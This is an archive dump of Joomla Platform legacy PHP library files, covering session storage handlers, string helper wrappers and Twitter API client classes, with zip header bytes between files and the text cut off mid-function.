* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* XCache session storage handler
*
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
class JSessionStorageXcache extends JSessionStorage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new RuntimeException('XCache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
// Check if id exists
if (!xcache_isset($sess_id))
{
return;
}
return (string) xcache_get($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
$sess_id = 'sess_' . $id;
return xcache_set($sess_id, $sessionData,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
if (!xcache_isset($sess_id))
{
return true;
}
return xcache_unset($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return extension_loaded('xcache');
}
}
PKPn�[qW
FFsession/storage.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Custom session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.7.0
* @deprecated 4.0 The CMS' Session classes will be replaced with
the `joomla/session` package
*/
abstract class JSessionStorage
{
/**
* @var JSessionStorage[] JSessionStorage instances container.
* @since 1.7.3
*/
protected static $instances = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.7.0
*/
public function __construct($options = array())
{
$this->register($options);
}
/**
* Returns a session storage handler object, only creating it if it
doesn't already exist.
*
* @param string $name The session store to instantiate
* @param array $options Array of options
*
* @return JSessionStorage
*
* @since 1.7.0
* @throws JSessionExceptionUnsupported
*/
public static function getInstance($name = 'none', $options =
array())
{
$name = strtolower(JFilterInput::getInstance()->clean($name,
'word'));
if (empty(self::$instances[$name]))
{
/** @var JSessionStorage $class */
$class = 'JSessionStorage' . ucfirst($name);
if (!class_exists($class))
{
$path = __DIR__ . '/storage/' . $name . '.php';
if (!file_exists($path))
{
throw new JSessionExceptionUnsupported('Unable to load session
storage class: ' . $name);
}
JLoader::register($class, $path);
// The class should now be loaded
if (!class_exists($class))
{
throw new JSessionExceptionUnsupported('Unable to load session
storage class: ' . $name);
}
}
// Validate the session storage is supported on this platform
if (!$class::isSupported())
{
throw new JSessionExceptionUnsupported(sprintf('The %s Session
Storage is not supported on this platform.', $name));
}
self::$instances[$name] = new $class($options);
}
return self::$instances[$name];
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.7.0
*/
public function register()
{
if (!headers_sent())
{
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
}
}
/**
* Open the SessionHandler backend.
*
* @param string $savePath The path to the session object.
* @param string $sessionName The name of the session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function open($savePath, $sessionName)
{
return true;
}
/**
* Close the SessionHandler backend.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function close()
{
return true;
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.7.0
*/
public function read($id)
{
return;
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $sessionData The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function write($id, $sessionData)
{
return true;
}
/**
* Destroy the data for a particular session identifier in the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function destroy($id)
{
return true;
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $maxlifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public function gc($maxlifetime = null)
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
* @deprecated 4.0 - Use JSessionStorage::isSupported() instead.
*/
public static function test()
{
JLog::add('JSessionStorage::test() is deprecated. Use
JSessionStorage::isSupported() instead.', JLog::WARNING,
'deprecated');
return static::isSupported();
}
}
PKPn�[��llstring/string.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* String handling class for utf-8 data
* Wraps the phputf8 library
* All functions assume the validity of utf-8 strings.
*
* @since 1.7.0
* @deprecated 4.0 Use {@link \Joomla\String\StringHelper} instead unless
otherwise noted.
*/
abstract class JString extends StringHelper
{
/**
* Split a string in camel case format
*
* "FooBarABCDef" becomes array("Foo",
"Bar", "ABC", "Def");
* "JFooBar" becomes array("J",
"Foo", "Bar");
* "J001FooBar002" becomes array("J001",
"Foo", "Bar002");
* "abcDef" becomes array("abc",
"Def");
* "abc_defGhi_Jkl" becomes array("abc_def",
"Ghi_Jkl");
* "ThisIsA_NASAAstronaut" becomes array("This",
"Is", "A_NASA", "Astronaut")),
* "JohnFitzgerald_Kennedy" becomes array("John",
"Fitzgerald_Kennedy")),
*
* @param string $string The source string.
*
* @return array The splitted string.
*
* @deprecated 4.0 - Use JStringNormalise::fromCamelCase()
* @since 1.7.3
*/
public static function splitCamelCase($string)
{
JLog::add('JString::splitCamelCase has been deprecated. Use
JStringNormalise::fromCamelCase.', JLog::WARNING,
'deprecated');
return JStringNormalise::fromCamelCase($string, true);
}
/**
* Does a UTF-8 safe version of PHP parse_url function
*
* @param string $url URL to parse
*
* @return mixed Associative array or false if badly formed URL.
*
* @link http://us3.php.net/manual/en/function.parse-url.php
* @since 1.7.0
* @deprecated 4.0 (CMS) - Use {@link \Joomla\Uri\UriHelper::parse_url()}
instead.
*/
public static function parse_url($url)
{
JLog::add('JString::parse_url has been deprecated. Use
\\Joomla\\Uri\\UriHelper::parse_url.', JLog::WARNING,
'deprecated');
return \Joomla\Uri\UriHelper::parse_url($url);
}
}
PKPn�[E8'zzstring/wrapper/normalise.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JStringNormalise
*
* @package Joomla.Platform
* @subpackage String
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JStringWrapperNormalise
{
/**
* Helper wrapper method for fromCamelCase
*
* @param string $input The string input (ASCII only).
* @param boolean $grouped Optionally allows splitting on groups of
uppercase characters.
*
* @return mixed The space separated string or an array of substrings if
grouped is true.
*
* @see JUserHelper::fromCamelCase()
* @since 3.4
*/
public function fromCamelCase($input, $grouped = false)
{
return JStringNormalise::fromCamelCase($input, $grouped);
}
/**
* Helper wrapper method for toCamelCase
*
* @param string $input The string input (ASCII only).
*
* @return string The camel case string.
*
* @see JUserHelper::toCamelCase()
* @since 3.4
*/
public function toCamelCase($input)
{
return JStringNormalise::toCamelCase($input);
}
/**
* Helper wrapper method for toDashSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The dash separated string.
*
* @see JUserHelper::toDashSeparated()
* @since 3.4
*/
public function toDashSeparated($input)
{
return JStringNormalise::toDashSeparated($input);
}
/**
* Helper wrapper method for toSpaceSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The space separated string.
*
* @see JUserHelper::toSpaceSeparated()
* @since 3.4
*/
public function toSpaceSeparated($input)
{
return JStringNormalise::toSpaceSeparated($input);
}
/**
* Helper wrapper method for toUnderscoreSeparated
*
* @param string $input The string input (ASCII only).
*
* @return string The underscore separated string.
*
* @see JUserHelper::toUnderscoreSeparated()
* @since 3.4
*/
public function toUnderscoreSeparated($input)
{
return JStringNormalise::toUnderscoreSeparated($input);
}
/**
* Helper wrapper method for toVariable
*
* @param string $input The string input (ASCII only).
*
* @return string The variable string.
*
* @see JUserHelper::toVariable()
* @since 3.4
*/
public function toVariable($input)
{
return JStringNormalise::toVariable($input);
}
/**
* Helper wrapper method for toKey
*
* @param string $input The string input (ASCII only).
*
* @return string The key string.
*
* @see JUserHelper::toKey()
* @since 3.4
*/
public function toKey($input)
{
return JStringNormalise::toKey($input);
}
}
PKPn�[�l+� � string/wrapper/punycode.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage String
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JLoader::register('idna_convert', JPATH_LIBRARIES .
'/idna_convert/idna_convert.class.php');
/**
* Wrapper class for JStringPunycode
*
* @package Joomla.Platform
* @subpackage String
* @since 3.4
* @deprecated 4.0 Will be removed without replacement
*/
class JStringWrapperPunycode
{
/**
* Helper wrapper method for toPunycode
*
* @param string $utfString The UTF-8 string to transform.
*
* @return string The punycode string.
*
* @see JUserHelper::toPunycode()
* @since 3.4
*/
public function toPunycode($utfString)
{
return JStringPunycode::toPunycode($utfString);
}
/**
* Helper wrapper method for fromPunycode
*
* @param string $punycodeString The Punycode string to transform.
*
* @return string The UF-8 URL.
*
* @see JUserHelper::fromPunycode()
* @since 3.4
*/
public function fromPunycode($punycodeString)
{
return JStringPunycode::fromPunycode($punycodeString);
}
/**
* Helper wrapper method for urlToPunycode
*
* @param string $uri The UTF-8 URL to transform.
*
* @return string The punycode URL.
*
* @see JUserHelper::urlToPunycode()
* @since 3.4
*/
public function urlToPunycode($uri)
{
return JStringPunycode::urlToPunycode($uri);
}
/**
* Helper wrapper method for urlToUTF8
*
* @param string $uri The Punycode URL to transform.
*
* @return string The UTF-8 URL.
*
* @see JStringPunycode::urlToUTF8()
* @since 3.4
*/
public function urlToUTF8($uri)
{
return JStringPunycode::urlToUTF8($uri);
}
/**
* Helper wrapper method for emailToPunycode
*
* @param string $email The UTF-8 email to transform.
*
* @return string The punycode email.
*
* @see JStringPunycode::emailToPunycode()
* @since 3.4
*/
public function emailToPunycode($email)
{
return JStringPunycode::emailToPunycode($email);
}
/**
* Helper wrapper method for emailToUTF8
*
* @param string $email The punycode email to transform.
*
* @return string The punycode email.
*
* @see JStringPunycode::emailToUTF8()
* @since 3.4
*/
public function emailToUTF8($email)
{
return JStringPunycode::emailToUTF8($email);
}
}
PKPn�[�v^�twitter/block.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Block class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterBlock extends JTwitterObject
{
/**
* Method to get the user ids the authenticating user is blocking.
*
* @param boolean $stringifyIds Provide this option to have ids
returned as strings instead.
* @param integer $cursor Causes the list of IDs to be broken
into pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as
suspended users are filtered out after connections are queried. If no
cursor
* is provided, a value of -1 will be
assumed, which is the first "page."
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getBlocking($stringifyIds = null, $cursor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'ids');
$data = array();
// Check if stringify_ids is specified
if (!is_null($stringifyIds))
{
$data['stringify_ids'] = $stringifyIds;
}
// Check if cursor is specified
if (!is_null($stringifyIds))
{
$data['cursor'] = $cursor;
}
// Set the API path
$path = '/blocks/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to block the specified user from following the authenticating
user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a
discreet structure, including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function block($user, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'create');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_statuses is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/blocks/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to unblock the specified user from following the authenticating
user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a
discreet structure, including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unblock($user, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('blocks', 'destroy');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_statuses is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/blocks/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKPn�[$/����twitter/directmessages.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Direct Messages class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterDirectmessages extends JTwitterObject
{
/**
* Method to get the most recent direct messages sent to the
authenticating user.
*
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of direct messages
to try and retrieve, up to a maximum of 200.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getDirectMessages($sinceId = 0, $maxId = 0, $count = 20,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages');
// Set the API path
$path = '/direct_messages.json';
// Check if since_id is specified.
if ($sinceId)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId)
{
$data['max_id'] = $maxId;
}
// Check if count is specified.
if ($count)
{
$data['count'] = $count;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the most recent direct messages sent by the
authenticating user.
*
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than (that
is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of direct messages to
try and retrieve, up to a maximum of 200.
* @param integer $page Specifies the page of results to retrieve.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety of metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSentDirectMessages($sinceId = 0, $maxId = 0, $count =
20, $page = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages', 'sent');
// Set the API path
$path = '/direct_messages/sent.json';
// Check if since_id is specified.
if ($sinceId)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId)
{
$data['max_id'] = $maxId;
}
// Check if count is specified.
if ($count)
{
$data['count'] = $count;
}
// Check if page is specified.
if ($page)
{
$data['page'] = $page;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to send a new direct message to the specified user from the
authenticating user.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
* @param string $text The text of your direct message. Be sure to
keep the message under 140 characters.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function sendDirectMessages($user, $text)
{
// Set the API path
$path = '/direct_messages/new.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
$data['text'] = $text;
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get a single direct message, specified by an id parameter.
*
* @param integer $id The ID of the direct message.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getDirectMessagesById($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('direct_messages', 'show');
// Set the API path
$path = '/direct_messages/show.json';
$data['id'] = $id;
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to delete the direct message specified in the required ID
parameter.
*
* @param integer $id The ID of the direct message.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety of metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteDirectMessages($id, $entities = null)
{
// Set the API path
$path = '/direct_messages/destroy.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKPn�[�lS���twitter/favorites.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Favorites class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterFavorites extends JTwitterObject
{
/**
* Method to get the most recent favorite statuses for the authenticating
or specified user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $count Specifies the number of tweets to try and
retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested to
set $includeRts to true
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than (that
is, older than) the specified ID.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFavorites($user = null, $count = 20, $sinceId = 0,
$maxId = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('favorites', 'list');
// Set the API path.
$path = '/favorites/list.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
// Set the count string
$data['count'] = $count;
// Check if since_id is specified.
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to favorite the status specified in the ID parameter as the
authenticating user
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createFavorites($id, $entities = null)
{
// Set the API path.
$path = '/favorites/create.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to un-favorites the status specified in the ID parameter as the
authenticating user.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $entities When set to true, each tweet will include
a node called "entities,". This node offers a variety
* of metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteFavorites($id, $entities = null)
{
// Set the API path.
$path = '/favorites/destroy.json';
$data['id'] = $id;
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKPn�[��33twitter/friends.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Friends class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterFriends extends JTwitterObject
{
/**
* Method to get an array of user IDs the specified user follows.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Causes the list of connections to be
broken into pages of no more than 5000 IDs at a time.
* The number of IDs returned is not guaranteed to be 5000 as
suspended users are filtered out
* after connections are queried. If no cursor is provided, a
value of -1 will be assumed, which is the first "page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
* @param integer $count Specifies the number of IDs attempt
retrieval of, up to a maximum of 5,000 per distinct request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendIds($user, $cursor = null, $stringIds = null,
$count = 0)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friends', 'ids');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is true
if ($stringIds)
{
$data['stringify_ids'] = $stringIds;
}
// Check if count is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Set the API path
$path = '/friends/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to display detailed friend information between two users.
*
* @param mixed $userA Either an integer containing the user ID or a
string containing the screen name of the first user.
* @param mixed $userB Either an integer containing the user ID or a
string containing the screen name of the second user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendshipDetails($userA, $userB)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'show');
// Determine which type of data was passed for $userA
if (is_numeric($userA))
{
$data['source_id'] = $userA;
}
elseif (is_string($userA))
{
$data['source_screen_name'] = $userA;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The first specified username is not in
the correct format; must use integer or string');
}
// Determine which type of data was passed for $userB
if (is_numeric($userB))
{
$data['target_id'] = $userB;
}
elseif (is_string($userB))
{
$data['target_screen_name'] = $userB;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The second specified username is not in
the correct format; must use integer or string');
}
// Set the API path
$path = '/friendships/show.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of user IDs the specified user is followed by.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended
users are filtered out after connections are queried. If no cursor
* is provided, a value of -1 will be assumed, which is the first
"page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
* @param integer $count Specifies the number of IDs attempt
retrieval of, up to a maximum of 5,000 per distinct request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFollowerIds($user, $cursor = null, $stringIds = null,
$count = 0)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('followers', 'ids');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/followers/ids.json';
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Check if count is specified
if (!is_null($count))
{
$data['count'] = $count;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to determine pending requests to follow the authenticating user.
*
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended users are filtered
out after connections are queried. If no cursor
* is provided, a value of -1 will be assumed, which is the first
"page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipsIncoming($cursor = null, $stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'incoming');
$data = array();
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/incoming.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to determine every protected user for whom the authenticating
user has a pending follow request.
*
* @param integer $cursor Causes the list of IDs to be broken into
pages of no more than 5000 IDs at a time. The number of IDs returned
* is not guaranteed to be 5000 as suspended users are filtered
out after connections are queried. If no cursor
* is provided, a value of -1 will be
assumed, which is the first "page."
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipsOutgoing($cursor = null, $stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'outgoing');
$data = array();
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/outgoing.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Allows the authenticating users to follow the user specified in the ID
parameter.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param boolean $follow Enable notifications for the target user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function follow($user, $follow = false)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if follow is true
if ($follow)
{
$data['follow'] = $follow;
}
// Set the API path
$path = '/friendships/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Allows the authenticating users to unfollow the user specified in the
ID parameter.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unfollow($user)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/friendships/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the relationship of the authenticating user to the comma
separated list of up to 100 screen_names or user_ids provided.
*
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param string $id A comma separated list of user IDs, up to
100 are allowed in a single request.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getFriendshipsLookup($screenName = null, $id = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships', 'lookup');
// Set user IDs and screen names.
if ($id)
{
$data['user_id'] = $id;
}
if ($screenName)
{
